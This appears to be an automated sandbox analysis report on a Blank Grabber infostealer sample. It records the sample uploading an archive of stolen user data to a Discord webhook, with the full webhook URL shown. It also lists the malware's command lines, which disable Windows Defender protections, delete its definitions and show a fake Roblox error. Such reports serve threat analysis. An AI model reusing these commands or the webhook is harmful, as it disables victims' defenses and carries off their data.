Jan 5, 2025 07:19:50.009412050 CET	381	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 06:19:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 204 Access-Control-Allow-Origin: * X-Ttl: 25 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-189.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49913	162.159.137.232	443	3800	C:\Users\user\Desktop\X9g8L63QGs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 06:19:50 UTC	302	OUT	POST /api/webhooks/1315377405426270278/HIGwvC-Zpfa8Zkb7aEYPMg-EuYuZPz1LJEfXefQjcA8JYgb6wbSS5zj82QNtaz9Su_0D HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 755602 User-Agent: python-urllib3/2.2.3 Content-Type: multipart/form-data; boundary=37a76d34b53131452d6fc832f167ffc7
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 2d 2d 33 37 61 37 36 64 33 34 62 35 33 31 33 31 34 35 32 64 36 66 63 38 33 32 66 31 36 37 66 66 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 66 72 6f 6e 74 64 65 73 6b 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 da 7f d0 7b 21 04 00 00 01 0f 97 c7 22 e7 49 45 1e 3c 3d 5c 96 a5 de b5 91 e2 41 43 1e 40 82 b7 23 dd d6 56 8b e2 ca 02 3c 85 ed a2 03 7f 29 49 61 20 a7 ec c2 de 3a 6d f5 06 5e ba b5 b8 73 d0 43 ab 9a 5e 34 f8 46 ab 9b 41 26 63 09 7b 16 73 43 70 8d 98 0d 15 7d 10 a5 20 3f 1d Data Ascii: --37a76d34b53131452d6fc832f167ffc7Content-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!{!"IE<=\AC@#V<)Ia :m^sC^4FA&c{sCp} ?
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 83 8d 61 22 02 08 0f f6 08 5e 39 26 70 aa 39 45 c0 b1 8e bc 10 56 e7 85 0d 61 94 c2 1e 32 c0 59 e0 44 93 7d 34 d8 b1 f1 34 ab 06 1d 29 f0 28 7e e4 cc fb b0 06 0f 4c e9 87 99 1a 7c 6b 96 a1 59 18 03 eb 26 f2 9a 61 36 4a 46 c2 de 6e 00 85 a9 18 9c 7a a5 fa 4f 52 f3 84 e8 d6 29 63 05 26 b2 c3 c0 e8 c6 e7 ba ba c7 82 00 6b 7d cb 41 be 64 81 2c f7 eb 47 c0 3a 8e b2 1c c4 f6 66 a6 d9 e6 c8 a6 c6 98 82 1d ea 3e cc 6f 1f f2 6a 6f e2 e1 00 33 1b 5d fb 73 ed 7d b6 5d f2 4e c7 5a 7a ca 48 0a 3c e6 ee 31 59 2b dd 4e ab ca 28 13 71 5a 60 36 ff 2a 24 14 f2 58 9f 82 46 66 1c 56 23 c9 e2 be bb 23 2c 35 c0 48 f7 af a4 c2 d8 d5 b1 ae f2 1c 76 cb 2b f6 98 31 f7 aa 76 48 a1 3a f6 b6 c6 38 89 d1 b2 9d 3d a9 62 63 f4 35 fb e6 d1 c9 c3 99 67 62 0a ba c7 1e e9 6d 4c 7a ae 26 47 Data Ascii: a"^9&p9EVa2YD}44)(~L\|kY&a6JFnzOR)c&k}Ad,G:f>ojo3]s}]NZzH<1Y+N(qZ`6*$XFfV##,5Hv+1vH:8=bc5gbmLz&G
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: ca cb 6a 3b e9 14 24 a1 05 94 26 e6 a3 9f 83 28 75 6d 5f 50 7a e8 22 fc b7 a4 ea 5d 9b 6c fb 6e 7d bb 6a cb 0f 75 13 83 b5 5b f5 df 75 fb 90 47 00 3d c0 04 7f 39 c8 31 5e 45 70 12 e4 d5 a4 7b 0d 50 2d e3 64 d1 a0 fe 91 88 a8 e1 f6 5a 12 89 bf b4 7f db 24 4f 12 20 6c 0f f2 a3 31 1d 79 78 1f 07 2f ab 9a 0f 49 7f 24 c4 41 0e 98 ba 2f 90 4d 6c 9f 4d 28 1b d3 d4 ee c5 1d 9a d3 eb 9a aa fb 11 be a1 9c cb dc c0 ae 25 c2 6d 9b e0 34 83 c0 32 00 22 2c 0a 69 65 18 ca 83 93 7d a8 a0 6e 2f 96 16 41 f9 34 ba 10 67 8f 51 c2 ee 95 84 31 74 5d 82 7e 3a be 3c a3 81 07 fe 5c 4e 63 77 3a d0 fe 7d 11 1f 91 aa 29 99 b9 fe a0 c0 78 29 24 70 8b cc 71 d0 02 c0 bd 39 21 21 90 50 88 f4 9c 35 ad 78 43 45 21 f2 c5 23 96 f5 ae 4a ce 18 50 2a 1f 01 4f a1 73 60 c3 38 0b 1e 62 5f ba bc Data Ascii: j;$&(um_Pz"]ln}ju[uG=91^Ep{P-dZ$O l1yx/I$A/MlM(%m42",ie}n/A4gQ1t]~:<\Ncw:})x)$pq9!!P5xCE!#JP*Os`8b_
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 2d 3c 08 ae e3 08 dd 64 72 82 95 cd cb cd 48 a9 0f 38 c1 1a 48 3b 3d 85 85 d8 c1 8d 34 b7 a4 f6 5c 57 b5 57 a0 24 9b 96 b1 d5 d3 87 48 b7 95 18 20 b2 9d 1d 0c f2 6c d9 38 4a d5 15 e4 56 80 86 5b c9 93 fb de 9f 27 01 f6 70 70 1d 54 e1 2f d0 47 62 24 5c 7e 4c c6 85 13 ac ff 60 8d 7b a9 87 a1 e0 a8 21 91 d2 20 08 6b 1f f6 ad 49 47 6a 8e f0 ba a5 68 06 47 df b7 98 de 41 97 c0 83 1f eb c9 47 57 ef cb df 2e ed 9e 06 f0 0d 92 39 fa ba c6 9f 5e 4f 62 f4 c4 8a f4 3d f8 d4 cb 42 3f 9b 24 98 e6 02 1b 86 13 68 72 aa a0 4f a5 2a 03 e6 40 9a f8 50 4b e9 5f 9e 65 74 e6 92 00 a1 bd 6a 5d d5 4c e8 26 24 f2 12 c7 52 ca b8 5c b7 e3 b9 06 72 f1 ac 0a 73 a7 d8 b4 7e 0f e8 d2 1c f9 a3 0d d9 55 91 81 4b 5b f1 30 e4 6f 01 4e b9 da c2 4d 26 fe 0d fb 54 c0 d7 d5 c1 ec 25 45 2d 90 Data Ascii: -<drH8H;=4\WW$H l8JV['ppT/Gb$\~L`{! kIGjhGAGW.9^Ob=B?$hrO*@PK_etj]L&$R\rs~UK[0oNM&T%E-
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 60 94 5d 9e 32 b2 aa e9 69 1d 39 94 67 37 d3 d9 6c 99 36 39 24 8e 99 31 93 0b 72 2f 48 66 1b c8 37 5e 9e a7 4a bf 77 8c e8 7e 86 8c 7b d0 83 ac 99 2d 46 02 33 c1 6f c2 88 ea e8 1e ce 0f 3e 76 2e b3 c2 b2 41 41 db 97 27 d8 03 4f 3e 73 ab d0 63 c3 8e cb 49 c7 4e 4c d8 98 a8 8a b4 ca 61 be 80 67 b8 72 cf a4 24 ea 35 9c 2c 4a 53 7e ab 59 52 13 32 d9 71 ea 5d 76 2a 96 42 6e 34 55 b4 99 ef 2f 65 4e b1 94 8f ba c0 80 74 35 0c 6f 27 44 16 50 bf 7b 67 23 e6 14 b5 d3 75 48 7a cc 46 68 ae ce 6e f7 ea 2a 62 b3 c4 a4 af 72 d0 24 cf a7 74 2c 5e 9a b7 9d 14 92 d8 d9 4e 39 5f 0f 95 42 52 9e e3 ea 59 4e 3b 92 b6 ac f2 27 ee 74 21 35 69 76 3e a3 70 cf 66 0b 07 9d d1 3f aa da 99 d8 64 51 d7 18 53 cc b6 a4 37 04 89 cf 40 19 60 a2 68 c7 40 d0 58 35 04 20 8b 7d 26 f2 3f f7 e6 Data Ascii: `]2i9g7l69$1r/Hf7^Jw~{-F3o>v.AA'O>scINLagr$5,JS~YR2q]vBn4U/eNt5o'DP{g#uHzFhnbr$t,^N9_BRYN;'t!5iv>pf?dQS7@`h@X5 }&?
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: ba fc bf 96 0c da ac 2b 11 cd 4e e3 15 6b cc ea 23 26 2c 8f c2 bb 01 4a e1 13 0a 2e b3 24 48 bb e1 5d d2 d8 c1 77 60 8c 54 8a 7c 5c 01 50 1a 9a 26 a0 36 f9 99 84 4f 98 18 45 8d 87 97 7e 62 9e 00 0a 33 15 05 df 44 e0 05 bb 10 4b 78 c6 b5 e0 0d 1b 80 5e 96 54 44 d2 b3 70 68 4b fb ce 03 42 81 48 a8 85 f3 99 b0 30 7c e4 9f 83 2f 80 a9 a0 d2 b6 1e 3f 80 78 10 8d 5e a0 0a 34 f0 29 b7 b4 a2 e3 5a df 2b 59 fe 42 1e 86 d1 a5 16 65 c8 b7 d6 cd 0e cf 50 35 2c 5a e8 4a e2 ed 4f df 08 01 ec 5d ad 49 b6 fb 05 15 43 ec 86 4a 7d 57 70 31 08 36 65 4f c0 02 7a eb 6c 49 4e 52 9f 15 b3 35 1b 82 63 19 9d b4 ca bf af 88 c9 f7 84 c0 31 e5 84 83 a5 68 27 f5 0e bd 3d 4f 9d b6 09 f9 2d 86 ee 6c a7 b4 8d 81 91 06 19 dd 38 de c8 dc 68 ec 2e 56 5f 7d ce 78 89 49 a6 2f a7 0f 3f e2 92 Data Ascii: +Nk#&,J.$H]w`T\|\P&6OE~b3DKx^TDphKBH0\|/?x^4)Z+YBeP5,ZJO]ICJ}Wp16eOzlINR5c1h'=O-l8h.V_}xI/?
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: d7 6a d7 a7 ca 10 be e5 17 71 4f c9 f5 0a 07 23 3f cb d2 e2 5c 87 97 a4 e6 71 32 17 d5 c5 67 83 95 66 eb f9 14 59 0f a9 de 6d 7f f8 b3 1b 08 d2 8e d9 c3 9e 62 3c 67 f6 f9 8f 96 0f 3d 72 fd 6b d7 49 fb ed 64 4c 64 1e f5 8f c6 c0 13 6d 81 c9 ee 2b 5c c2 df cd bb 3d 0b f5 76 80 cd 7a ae cc 87 57 57 93 30 b3 37 b8 59 34 d0 d8 24 59 bb fd 64 ed ed b1 25 d7 ad d1 af ff b3 03 15 23 95 0d aa 88 9a 0f 84 aa 8c 4e 98 7a eb 9b 76 76 4a da a4 a0 6e ba c5 75 35 59 4b 0a 58 27 11 7e 13 bb 13 56 d7 7d 86 28 75 d6 a9 ee 8d e6 5e 20 55 e1 9e 71 3d f5 da 88 43 33 98 11 39 58 68 07 ea 79 67 97 0d 2f 70 11 79 7b 50 6f 90 08 fd 02 6c db 67 0e 2a 91 7c 3e 5c 76 85 6b 5b c2 47 b5 08 92 61 fb 41 eb e2 a9 be bc 71 5e 38 68 78 89 80 75 81 b1 91 c6 61 a5 4a d0 3b 5e 08 48 da 7a 23 Data Ascii: jqO#?\q2gfYmb<g=rkIdLdm+\=vzWW07Y4$Yd%#NzvvJnu5YKX'~V}(u^ Uq=C39Xhyg/py{Polg*\|>\vk[GaAq^8hxuaJ;^Hz#
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 78 7b 33 81 96 05 43 37 2b 7b 6c f2 e9 fb 0c eb c8 ef 60 0f 4d a1 0c 06 47 08 d2 51 4f d4 47 31 3f 71 bc dd d3 12 eb a6 03 6a 01 bc 6f 84 98 b9 b5 f5 c7 5a a0 08 9e 08 a2 b8 27 fe b7 be e0 cf 8e 4d e7 ba d1 76 e8 39 aa f6 50 24 83 7f 5b 2d 35 d9 c2 c2 ee 47 c4 d9 00 ec 74 81 32 9f c1 5f bd 3c ee aa 97 cd ec da d1 de 0f 2f b3 a9 91 3b 15 0d f8 42 6a c7 ea ee f9 2c 49 f5 49 b3 0d 87 e9 0b 9c 1f 11 49 3f d6 3e ef 06 bd c3 57 98 0e ee ac 78 41 78 d2 d8 66 72 c3 36 0c ee 55 3f d3 27 49 a5 7d 2d a7 1f d1 d5 3f df d4 42 97 2e 0b 4d 12 90 5d ab cd 65 1d dc bd 2e 81 f5 03 35 5c 67 d1 00 4c 2f 19 47 0a 24 f1 b9 9a 7b ef 31 4c f2 40 a0 eb 40 0f 85 04 1b f7 94 c3 3d 74 62 59 cf cc 66 cd ff 8c 3f 4f 3e 74 63 83 40 0a ad 16 69 64 5e 03 a4 8b 87 d2 bb 83 d6 98 5e 3d b7 Data Ascii: x{3C7+{l`MGQOG1?qjoZ'Mv9P$[-5Gt2_</;Bj,III?>WxAxfr6U?'I}-?B.M]e.5\gL/G${1L@@=tbYf?O>tc@id^^=
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 3a d0 b4 f0 79 f9 02 85 35 f3 a7 c9 9c 01 34 49 a4 bd 43 fe eb 54 29 c1 39 01 05 35 eb 5e cc 3c aa 0f e8 53 f2 e7 2a c0 a4 f2 75 0b 3b ff c4 24 75 46 35 46 67 12 52 7a f2 b2 17 f3 94 2e 9b 26 9f 2a 74 77 d7 8c dc a7 97 40 3e 79 1a b1 d4 d5 3a 5b d4 e9 d1 39 a6 99 c2 f0 0e 8c 13 bd 9f 08 e1 9e 28 d4 11 eb f9 a1 f0 e4 5e fc aa 54 4f 4a 7e 91 3e ac 0a b2 a3 e9 2d 62 b8 80 a3 a4 dc 3c 27 e5 08 06 ca 8d a4 0c 6f e4 f3 23 36 6f e0 3c 23 90 0b 6b f9 48 44 69 bb 6a 97 e8 8e b0 9b fd 31 58 53 4e d9 56 29 6e ec 87 9f 21 1d 09 a9 5a 1b e6 54 9d 3e e7 8a 7b 11 38 6d 5d 3d 22 ca 39 02 2f 02 7f c4 85 00 ac 6c f9 4d 80 eb 51 0a 6b 27 56 47 ba ca f5 19 e9 00 8e e6 f7 a4 45 46 54 3f 8d 6c cc 61 22 40 3b f0 0e bc a4 bd 83 9e 44 8c 56 31 b4 37 29 76 f6 fa c1 b7 7f c1 08 c6 Data Ascii: :y54ICT)95^<Su;$uF5FgRz.&tw@>y:[9(^TOJ~>-b<'o#6o<#kHDij1XSNV)n!ZT>{8m]="9/lMQk'VGEFT?la"@;DV17)v
2025-01-05 06:19:50 UTC	16384	OUT	Data Raw: 8f 77 53 cf 87 3b 4b d8 10 2a ae e0 04 b7 b8 4b 1f ba 19 8f 7a 46 ca bb bf 11 f2 e1 81 5b 3d 2c 08 5c 71 92 85 5d 81 74 0c fd d4 23 5e 59 87 4d 77 29 43 7e 02 4e 46 9f af 29 9e 96 c2 d4 52 40 33 fe 4a 6c e1 b5 86 b2 0a 37 42 2e 1d 92 4f b0 e5 ff e3 8f 13 03 87 d7 32 b9 2e 8f 07 d1 d8 04 d6 8c 8d e1 e3 6d cd 9f 24 6e 1e d2 76 5d 45 17 da 74 45 83 0d 64 71 6c cb f0 21 79 50 ee b2 5e f9 7b b0 d1 c2 a0 84 5c c9 18 d9 d9 d5 82 a8 88 0c 22 5c f9 b1 03 e9 f4 5e c7 d8 6a 06 b6 1b 2b 60 7e 9a da 20 1a 13 70 a6 64 94 52 71 70 b0 1d a4 37 57 3e 83 46 bd 18 2a 64 64 9b 84 63 d1 81 64 a9 fa 8c dc 49 49 8f 7a 7c bc 25 0d 2e be de 5a 03 a8 64 de d7 bb bd 66 1a f9 5b 5d 13 80 ae 4a 57 34 1c 09 8c fa 7d 98 5a de 3a d6 4b 14 7b 8e fd c9 d1 9a 16 5a cb 3e 58 90 f5 a7 14 e5 Data Ascii: wS;KKzF[=,\q]t#^YMw)C~NF)R@3Jl7B.O2.m$nv]EtEdql!yP^{\"\^j+`~ pdRqp7W>FddcdIIz\|%.Zdf[]JW4}Z:K{Z>X
2025-01-05 06:19:51 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Sun, 05 Jan 2025 06:19:51 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1736057992 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hAXIq9XtArVKc%2Ffubs8AT0r1q2NMEWVkjfKCdI6jYKfc1azRAidxd4u3EbEtHoGK3aODxcAqyDIfPtP5tjiUcDJFBrKwLRcktghWLo%2B2qmX%2BB5kfWJsHE43k6je%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=14735b5a48e24b09b557091335c501751a43c2b5-1736057991; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=q.0E45z3pGSklbxiFMyXrHfDuxC.4JrCDgahg7Y.Fx0-1736057991326-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8fd15bea497fef9d-EWR

Target ID:	4
Start time:	01:19:08
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\X9g8L63QGs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\X9g8L63QGs.exe"
Imagebase:	0x7ff7c2660000
File size:	7'849'526 bytes
MD5 hash:	17E85E39754DB87356121C00E17D3096
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.1275666676.000001FB29EE5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000004.00000003.1275666676.000001FB29EE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:19:09
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\X9g8L63QGs.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\X9g8L63QGs.exe"
Imagebase:	0x7ff7c2660000
File size:	7'849'526 bytes
MD5 hash:	17E85E39754DB87356121C00E17D3096
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000007.00000003.1686994735.000001E7C3B87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000007.00000003.1689633424.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000007.00000003.1689985178.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff7b4ee0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()""
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()"
Imagebase:	0x7ff703620000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6c6d10000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:19:11
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:19:14
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:19:14
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:19:15
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
